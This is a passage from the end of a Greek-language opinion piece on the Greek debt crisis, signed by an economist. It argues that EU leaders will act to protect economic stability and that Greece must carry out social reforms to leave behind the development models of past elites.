δυνατό αν θα ήθελε κανείς στα σοβαρά να αντιμετωπίσει το "ελληνικό ζήτημα".

Η πραγματικότητα συνεπώς φαίνεται πολύ πιο σύνθετη από την απλοποιημένη εικόνα μιας



διαμάχης συνεταιρών που της αποδίδεται.

Τα πολιτικά κέντρα της Ε. Ένωσης έχουν πλήρη συνείσθηση της ευθύνης τους απέναντι στις διενθείς μείζονες δυνάμεις αναφορικά με την διατήρηση της ισορροπίας της διεθνούς οικονομίας και γι' αυτό θα πράξουν ό,τι χρειαστεί για την απομάκρυνση κάθε κινδύνου ενώ η Ελληνική κυβέρνηση πέραν του αντιμετωπίσιμου προβλήματος της ρευστότητας έχει καθήκον να προχωρήσει σε τέτοιους κοινωνικούς μετασχηματισμούς που θα απομακρύνουν οριστικά την επιστροφή των παρασιτικών “αναπτυξιακών” προτύπων που καθιέρωσαν οι αναξιόπιστες πολιτικές ελίτ του παρελθόντος.

Κουρματζής Θανάσης

Οικονομολόγος / Στατιστικός/ Συγγραφέας